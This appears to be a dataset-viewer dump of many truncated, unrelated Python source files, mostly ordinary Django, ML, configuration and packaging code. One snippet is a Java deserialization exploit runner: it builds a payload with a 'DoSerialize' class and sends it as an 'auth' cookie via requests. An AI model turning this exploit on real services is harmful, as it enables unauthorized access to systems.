text stringlengths 1 927k |
|---|
from __future__ import print_function
print('"import nofuture" succeeded') |
import random
from decimal import Decimal
from django.core.exceptions import ValidationError
from django.core.validators import RegexValidator
from django.db import models
from django.db.models import Sum
from django.utils.translation import ugettext_lazy as _
from django.utils.module_loading import import_by_path
from... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.29 on 2021-04-22 12:52
from __future__ import unicode_literals
from django.db import migrations
from django.conf import settings
class Migration(migrations.Migration):
ops = [
(
"""
CREATE FOREIGN TABLE "typo3"."content" (
... |
from annie.blueprints.playground.views import playground |
from graphql.schema import GraphQlFuncDescriptor
class GraphQlRootMutationObject(object):
"""The root mutation object for GraphQL.
This is the object whose fields we "query" at the root level of a
GraphQL mutation operation.
"""
# The singleton instance of GraphQlRootMutationObject, or None if w... |
from django.contrib.auth.models import User
def get_anonymous_user():
"""
Get the user called "anonymous" if it exist. Create the user if it doesn't
exist This is the default concordia user if someone is working on the site
without logging in first.
"""
try:
return User.objects.get(us... |
import pathlib
import pkg_resources
from mopidy import config, ext
__version__ = pkg_resources.get_distribution(
"Mopidy-MusicBox-Webclient"
).version
class Extension(ext.Extension):
dist_name = "Mopidy-MusicBox-Webclient"
ext_name = "musicbox_webclient"
version = __version__
def get_default_... |
# Copyright 2019 Jetperch LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... |
# -*- coding: utf-8 -*-
# @Time : 2020/12/05
# @Author : github.com/guofei9987
import ast
import csv
from pygraphs.tools import PgDict, cql_parser
class Vertex(object):
def __init__(self, val=None):
self.val = dict(val) or dict()
self.src = set()
self.dst = set()
def __repr__(self... |
# dataset settings
dataset_type = 'PotsdamDataset'
# data_root = 'data/potsdam'
data_root = 'swpTest/tempDataTest/potsdam'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
crop_size = (512, 512)
train_pipeline = [
dict(type='LoadImageFromFile'),
dict(type='LoadA... |
from ...attrs import LIKE_NUM
# Thirteen, fifteen etc. are written separate: on üç
_num_words = [
"bir",
"iki",
"üç",
"dört",
"beş",
"altı",
"yedi",
"sekiz",
"dokuz",
"on",
"yirmi",
"otuz",
"kırk",
"elli",
"altmış",
"yetmiş",
"seksen",
"doksan",... |
import os
import setuptools
setuptools.setup(
name='cubes',
version='0.0.1',
packages=setuptools.find_packages(),
description='analysis code for cube experiment',
long_description=open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'README.rst')).read(),
license='MIT',
url='http:/... |
import numpy as np
import copy
import logging
from IPython.display import display, clear_output
from collections import defaultdict
import pailab.analysis.plot as paiplot
import pailab.analysis.plot_helper as plt_helper
import ipywidgets as widgets
from pailab import MLObjectType, RepoInfoKey, FIRST_VERSION, LAST_VERS... |
#!/usr/bin/env python3
import pyperf
import pyvips
def operation_call(loops):
range_it = range(loops)
t0 = pyperf.perf_counter()
for loops in range_it:
_ = pyvips.Operation.call('black', 10, 10)
return pyperf.perf_counter() - t0
runner = pyperf.Runner()
runner.bench_time_func('Operation.c... |
speedramps = {
"Naver": {
0: 5,
1: 4,
2: 3,
3: 2,
4: 1,
5: 0,
6: -1,
7: -2,
8: -3,
9: -4,
10: -5,
}
} |
import os
import torch
from src.helper_functions.helper_functions import parse_args
from src.loss_functions.losses import AsymmetricLoss, AsymmetricLossOptimized
from src.models import create_model
import argparse
import matplotlib
import torchvision.transforms as transforms
from pgd import create_targeted_adversarial_... |
# Distributed under terms of the MIT license.
"""
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.9/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, na... |
#this is a basic wall follow program that hugs a wall from the right side
import turtle
from pycreate2 import Create2
import time
from pynput import keyboard
import firebase_admin
from firebase_admin import credentials
from firebase_admin import db
#Firebase setup_____________________________________________________... |
from django.views.generic import FormView
from django.shortcuts import get_object_or_404
from django.core.urlresolvers import reverse_lazy
from contact.models import Contact, Newsletter
from contact.forms import ContactForm, NewsletterForm
class TwoFormView(FormView):
template_name = 'two_form.html'
form_cla... |
# orm/attributes.py
# Copyright (C) 2005-2020 the SQLAlchemy authors and contributors
# <see AUTHORS file>
#
# This module is part of SQLAlchemy and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php
"""Defines instrumentation for class attributes and their interaction
with instanc... |
#!/usr/bin/env python3
# Copyright (c) 2004-present Facebook All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
from typing import List
from pysymphony import SymphonyClient
from .._utils import format_property_definitions
from ..common.cache im... |
"""
replace first layer of AlexNet with optical setup
Adapted other layers of AlexNet code from AlexNet.py, code written by Frederik Kratzert at
https://kratzert.github.io/2017/02/24/finetuning-alexnet-with-tensorflow.html
"""
import tensorflow as tf
import numpy as np
Iterator = tf.data.Iterator
# xx, yy, Lambda, k_... |
#from mpi4py.futures import MPIPoolExecutor
from mpi4py import MPI
import argparse
from parser import parse_input
from merge_nodes import merge_field_nodes
from merge_nodes import merge_analysis_nodes
# based on https://github.com/jbornschein/mpi4py-examples/blob/master/09-task-pull.py
#x0, x1, w = -2.0, +2.0, ... |
"""
FD-MobileNet for ImageNet-1K, implemented in Gluon.
Original paper: 'FD-MobileNet: Improved MobileNet with A Fast Downsampling Strategy,'
https://arxiv.org/abs/1802.03750.
"""
__all__ = ['fdmobilenet_w1', 'fdmobilenet_w3d4', 'fdmobilenet_wd2', 'fdmobilenet_wd4', 'get_fdmobilenet']
import os
from mxnet... |
#!usr/bin/env python
# -*- coding: utf-8 -*-
DEFAULT = 'default_settings.json'
import os
import json
class Settings(dict):
def __init__(self, config_path=None):
super(Settings, self).__init__()
try:
with open(config_path, 'r') as f:
params = json.load(f)
exce... |
if 0:
import astropy.io.fits as pyfits, os
#catalog = '/u/ki/dapple/nfs12/cosmos/cosmos30.slr.matched.cat'
catalog = '/u/ki/dapple/nfs12/cosmos/cosmos30.slr.cat'
p = pyfits.open(catalog)['OBJECTS']
print p.columns
#print p.data.field('z_spec')[4000:5000]
filters = ['MEGAPRIME-0-1-u','S... |
"""crie um programa que leia dois números e mostre a soma entre eles"""
n1 = int(input('Digite um valor: '))
n2 = int(input('Digite outro valor: '))
soma = n1 + n2
print('A soma entre {} e {} é de: {}' .format(n1, n2, soma)) |
from django.shortcuts import render
def index(request):
return render(request, 'frontend/index.html') |
# Copyright 2020 The StackStorm Authors.
# Copyright 2019 Extreme Networks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... |
from __future__ import print_function
import Tkinter as tk
import ttk
import tkSimpleDialog
from collections import OrderedDict
from ..barcode import BarcodeSeqLib
from ..barcodevariant import BcvSeqLib
from ..barcodeid import BcidSeqLib
from ..basic import BasicSeqLib
from ..idonly import IdOnlySeqLib
from ..overlap i... |
# Python Substrate Interface Library
#
# Copyright 2018-2020 Stichting Polkascan (Polkascan Foundation).
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LIC... |
#!/usr/bin/env python3
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.onnx.operators
from fairseq import utils
from fairseq.models import (
FairseqEncoder,
FairseqModel,
register_model,
register_model_architecture,
)
from pytorch_translate import rnn_... |
""" Given a positive integer k, you need to find the length of the smallest positive integer n such that n is divisible by k, and n only contains the digit 1.
Return the length of n. If there is no such n, return -1.
Note: n may not fit in a 64-bit signed integer.
Example 1:
Input: k = 1
Output: 1
Explanation: The... |
#!/usr/bin/env python3
import contextlib
import os
import tempfile
import xml.etree.ElementTree as ET
import zipfile
from datetime import datetime, timezone
from pathlib import Path
from re import compile
from typing import List, Union, Dict, Iterator, Tuple, Any, Pattern
def env_get(key: str, boolean: bool = False)... |
"""Module for working and parsing Remo output files.
"""
import os
from pathlib import Path
import pandas as pd
import parse
from tqdm import tqdm
file_pattern = "e{usr_nr:3d}{exp_nr:3d}{type:1}{date}"
efile_pattern = "e{usr_nr:3d}{exp_nr:3d}{type:1}_c{code:3d}_{date}"
date_patterns = ["%Y", "%Y%m", "%Y%m%d", "%Y%m%... |
from datetime import timedelta
from django.test import TestCase
from django.utils import timezone
from eth_account import Account
from ..models import EthereumTx, ModuleTransaction, MultisigTransaction
from ..services.transaction_service import (TransactionService,
Transac... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Copyright 2011 Fourth Paradigm Development, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "Licen... |
"""
WSGI config for twitter project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATION`` ... |
from pathlib import Path
from fhir.resources.valueset import ValueSet as _ValueSet
from oops_fhir.utils import ValueSet
from oops_fhir.r4.code_system.v3_act_code import v3ActCode
__all__ = ["v3ObservationType"]
_resource = _ValueSet.parse_file(Path(__file__).with_suffix(".json"))
class v3ObservationType(v3ActC... |
"""empty message
Revision ID: 98f414e72943
Revises: 4f65c2238756
Create Date: 2019-04-30 23:46:07.283010
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '98f414e72943'
down_revision = '4f65c2238756'
branch_labels = None
depends_on = None
def upgrade():
# ... |
from Usina import Usina;
from RecebeDados import RecebeDados;
class Renovavel (Usina):
def __init__(self, recebe_dados, abaRenov, offset, iRenov):
# define fonte_dados como o objeto da classe RecebeDados e o nome da aba com as usinas UHE
self.nomeAba = abaRenov;
self.fonte_dad... |
######################
# (c) 2012 Andreas Mueller <amueller@ais.uni-bonn.de>
# License: BSD 3-clause
#
# Implements structured SVM as described in Tsochantaridis et. al.
# Support Vector Machines Learning for Interdependent
# and Structures Output Spaces
from time import time
import numpy as np
import cvxopt
import c... |
import logging
from typing import Set
import falcon
from common.consts import HTTP_WRITE_METHODS
from common.falcon_utils import auth_token
from common.util import is_public
from ui import BackendController
class ContentTypeValidator:
def process_resource(self, req: falcon.Request, _resp: falcon.Response, resou... |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.utils.translation import gettext as _
from core import models
class UserAdmin(BaseUserAdmin):
ordering = ['id']
list_display = ['email', 'name']
fieldsets = (
(None, {'fields': ('email',... |
# standard library
import threading
# django
from django.core.mail import send_mail
# local django
from user import constants
class SendMail(threading.Thread):
"""
Responsible to send email in background.
"""
def __init__(self, email, HealthProfessional, SendInvitationProfile):
self.email = ... |
from django.contrib import admin
from mig_main.models import (
UserProfile,
OfficerPosition,
Standing,
Status,
Major,
ShirtSize,
TBPChapter,
AcademicTerm,
... |
# Copyright (C) GRyCAP - I3M - UPV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
import logging.config
import sys
from datetime import datetime
from . import logging_context, settings
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
ORANGE = "\033[38;5;214m"
END = "\033[0m"
class ColorModes(object):
AUTO = "auto"
ALWAYS = "always"
NEVER = "never"
color_mod... |
from unittest import TestCase
import numpy as np
import copy
from scvi.dataset import CortexDataset, GeneExpressionDataset
from scvi.dataset.dataset import remap_categories, CellMeasurement
class TestGeneExpressionDataset(TestCase):
def test_populate_from_data(self):
data = np.ones((25, 10)) * 100
... |
import numpy as np
# import matplotlib.pyplot as plt
from xbbo.configspace.space import DenseConfiguration, DenseConfigurationSpace
from ConfigSpace.hyperparameters import UniformFloatHyperparameter
from ConfigSpace.conditions import LessThanCondition
# from xbbo.search_algorithm.transfer_tst_optimizer import SMBO
# f... |
#!/usr/bin/python2.5
# Copyright (C) 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... |
from .draft import Draft
from .dialog import Dialog
from .input_sized_file import InputSizedFile |
# import libraries
import os
import numpy as np
import torch
from six import BytesIO
# import model from model.py, by name
from model import BinaryClassifier
# default content type is numpy array
NP_CONTENT_TYPE = 'application/x-npy'
# Provided model load function
def model_fn(model_dir):
"""Load the PyTorch mo... |
"""Utility to log usage statistics.
----
Copyright 2019 Data Driven Empathy LLC
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to us... |
"""
Usage:
desired-state [options] control [<control-id>]
desired-state [options] monitor <current-state.yml> [<rules.yml>]
desired-state [options] from <initial-state.yml> to <new-state.yml> [<rules.yml>]
desired-state [options] update-desired-state <new-state.yml>
desired-state [options] update-ac... |
"""fresh_life URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-... |
#!/usr/bin/env/python
import re
import json
# Copyright 2017 Nokia
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unl... |
import imaplib
import re
import email
import base64
import quopri
import sys
import time
from datetime import datetime
from email.header import decode_header
from core.imbox.utils import str_encode, str_decode
import operator as op
import configparser
import os
from email import header
# 获取配置
base_dir = os.path.dirnam... |
correct_num = 5
for _ in range(10):
guess = int(input('Enter guess: '))
if correct_num == guess:
print('That was a good guess!')
break |
#!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2015 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without... |
from .helpers import *
from .Augmentation2D import Augmentation2D |
from .. import tutils, mastertest
from mitmproxy.addons import anticache
from mitmproxy import master
from mitmproxy import options
from mitmproxy import proxy
class TestAntiCache(mastertest.MasterTest):
def test_simple(self):
o = options.Options(anticache = True)
m = master.Master(o, proxy.DummyS... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from .. import _utilities, _tables
from ... |
from django.apps import AppConfig
class FinalappConfig(AppConfig):
name = 'finalapp' |
#!/usr/bin/env python
from gentokenlookup import gentokenlookup
OPTIONS = [
"private-key-file",
"private-key-passwd-file",
"certificate-file",
"dh-param-file",
"subcert",
"backend",
"frontend",
"workers",
"http2-max-concurrent-streams",
"log-level",
"daemon",
"http2-pro... |
import connexion
import six
from openapi_server import util
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/../../../../../../ARAX/NodeSynonymizer")
from node_synonymizer import NodeSynonymizer
def get_entity(q): # noqa: E501
"""Obtain CURIE and synonym information about a sea... |
# -*- coding: utf-8 -*-
__author__ = 'CubexX'
from datetime import datetime
from app import db
class Message(db.Model):
__table__ = 'messages'
__timestamps__ = False
__fillable__ = ['uid', 'cid', 'date']
@staticmethod
def today_chat_count(cid):
t = datetime.today()
today = int(d... |
# -*- coding: utf-8 -*-
#
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
# Copyright 2018-2021 Xanadu Quantum Technologies Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or... |
import pymysql.cursors
from dotenv import load_dotenv
from .constants import PROD, LOCN, PRMO, PRLO, report_query, movement_query, required_cols
from .helpers import get_id, get_timestamp, insert_sql
load_dotenv()
class DBConnectionHandler:
def __init__(self, user="root", password="00000000", host="localhost", d... |
# coding: utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------... |
#!/usr/bin/env python
from __future__ import print_function
import os
import re
import codecs
from setuptools import setup, find_packages
def read(*parts):
filename = os.path.join(os.path.dirname(__file__), *parts)
with codecs.open(filename, encoding="utf-8") as fp:
return fp.read()
def find_vers... |
#!/usr/bin/env python3
import numpy as np
import pandas as pd
def pretty_print(name, to_print):
print(f'{name}:')
print(f'{to_print}\n\n')
orders = pd.Series(data=[300.50, 60, 123.40, 60, np.nan],
index=['Customer 1', 'Customer 2', 'Customer 3', 'Customer 4', 'Customer 5'])
pretty_print... |
import cStringIO
from Ft.Lib.Uri import OsPathToUri
from Ft.Xml.InputSource import InputSourceFactory, DefaultFactory
from Ft.Xml.Xslt import XsltException, Error
from Ft.Xml.Xslt.Processor import Processor
from Xml.Xslt import test_harness
#-----------------------------------------------------------------------
# G... |
import requests
import csv
from bs4 import BeautifulSoup
headers = {
'authority': 'scrapeme.live',
'dnt': '1',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
'accept': 'text/h... |
"""
Default settings for the Richie courses app.
If you use Django Configuration for your settings, you can use our mixin to import these
default settings:
```
from configurations import Configuration
from richie.apps.courses.settings.mixins import RichieCoursesConfigurationMixin
class MyConfiguration... |
from importlib import import_module
from datetime import timedelta
import cf
import unifhy
from .test_time import get_dummy_timedomain
from .test_space import (
get_dummy_spacedomain, get_dummy_land_sea_mask_field,
get_dummy_flow_direction_field
)
from .test_data import (
get_dummy_dataset, get_dummy_comp... |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.9 on 2016-09-06 02:11
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('address', '0002_useraddress_profile_address'),
]
operations = [
migrations.RemoveFie... |
import sys
from pyspark.sql import SparkSession
from pyspark.sql.functions import explode
from pyspark.sql.functions import split
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: spark-submit structured_network_counting.py <hostname> <port>", file=sys.stderr)
exit(-1)
host = sy... |
import socket
import threading
class UDPClient:
def __init__(self, IPAddress, port):
self.IPAddress = IPAddress
self.port = port
self.buffer_size = 2048
self.client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.last_package = None
def connect(self):
t... |
# Standard Library
from functools import reduce
from glob import iglob
from operator import concat
from os import listdir, getenv
from os.path import expanduser, isdir, isfile
from typing import Dict, Generator, Iterable, List, Set
# 3rd Party
from prompt_toolkit.completion import CompleteEvent, Completer, Completion,... |
"""
WSGI config for bandcamp app.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
from dj_static import Cling
os.environ.... |
import datetime
from pathlib import Path
import numpy as np
import scipy.io
class CameraCalibration(object):
"""Camera calibration saved in .mat file and method to assemble Projective (P) martrix.
Notes:
- Inspired by example code + notes from CiRC which are derived from Hartley and Zisserman (20030... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... |
from unittest import mock
import pytest
from asserts import assert_cli_runner
from meltano.cli import cli
from meltano.core.project_settings_service import (
ProjectSettingsService,
SettingValueStore,
)
from meltano.core.tracking import GoogleAnalyticsTracker
class TestCliUi:
def test_ui(self, project, c... |
from django.shortcuts import render, get_object_or_404
from django.http import HttpResponse
from .models import Post
# Create your views here.
def post_create(request):
return HttpResponse("<h1>Create</h1>")
def post_detail(request, id=None): #retrieve
#instance = Post.objects.get(id=1)
instance = get_object_or_... |
import pytest
def test_shellsrc(script_runner):
exit_status = script_runner('')
assert exit_status == 0
assert script_runner.output == ''
@pytest.mark.parametrize('env_name,is_valid', [
('', False),
('.', False),
('..', False),
('foo/bar', False),
('/foo', False),
('foo/', False)... |
'''
Reference: https://github.com/automl/DEHB
'''
from typing import List
import numpy as np
# from xbbo.configspace.feature_space import Uniform2Gaussian
from xbbo.search_algorithm.multi_fidelity.hyperband import HB
from xbbo.configspace.space import DenseConfiguration, DenseConfigurationSpace
from xbbo.core.trials ... |
## !/usr/bin/env python
# _*_ coding:utf-8 _*_
from django.conf.urls import url
from . import views
urlpatterns = [
# 1. 列表页面 list/(?P<category_id>\d+)/(?P<page_num>\d+)/
url(r'^list/(?P<category_id>\d+)/(?P<page_num>\d+)/$', views.ListView.as_view(), name='list'),
# 2. 热销排行 hot/(?P<category_id... |
#!/usr/bin/env python
"""
Copyright (c) 2020-End_Of_Life
See the file 'LICENSE' for copying permission
""" |
import requests
from subprocess import Popen, PIPE
def console(cmd):
p = Popen(cmd, shell=True, stdout=PIPE)
out, err = p.communicate()
return (p.returncode, out, err)
console("javac exploits/JavaSerializationExploit/src/main/java/DoSerialize.java")
cookieval = console("java DoSerialize")
cookie = {'auth... |
from pylsp_rope.lsp_diff import _difflib_ops_to_text_edit_ops, lsp_diff
from test.conftest import create_document
def test_lsp_diff(workspace):
expected = [
{
"range": {
"start": {"line": 2, "character": 0},
"end": {"line": 3, "character": 0},
},
... |
"""Functions for input/output"""
import os
import logging
from interactive_bayesian_optimisation import config
from interactive_bayesian_optimisation.libs import utils
import numpy as np
from flask import json
import simplejson.errors
import yaml
def get_file_item_max(file_dir, min_val=0):
# Adding -1 to the li... |
import numpy as np
from random import randrange
def eval_numerical_gradient(f, x, verbose=True, h=0.00001):
"""
a naive implementation of numerical gradient of f at x
- f should be a function that takes a single argument
- x is the point (numpy array) to evaluate the gradient at
"""
fx = f(x)... |
import copy
import logging
import numpy as np
import torch
import torchvision
from ignite.metrics import Loss
from torchvision import transforms as T
from torchvision.transforms import functional as F
import datasetinsights.constants as const
from datasetinsights.data.datasets import Dataset
from datasetinsights.data... |
import six
class Query(object):
"""
Query is used to build complex queries that have more parameters than just the query string.
The query string is set in the constructor, and other options have setter functions.
The setter functions return the query object, so they can be chained,
i.e. `Query("f... |
# Generated by Django 2.2.18 on 2021-03-21 15:42
import django.contrib.auth.models
from django.db import migrations, models
import django.utils.timezone
import uuid
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0011_update_proxy_permissions'),
]
operation... |
import mgwr
import spglm
import spint
import spreg
import spvcm
import tobler |
# -*- coding: utf-8 -*-
# Copyright 2017, IBM.
#
# This source code is licensed under the Apache License, Version 2.0 found in
# the LICENSE.txt file in the root directory of this source tree.
# pylint: disable=invalid-name
"""
Rotation around the y-axis.
"""
from qiskit.circuit import Gate
from qiskit.circuit impor... |
"""server URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.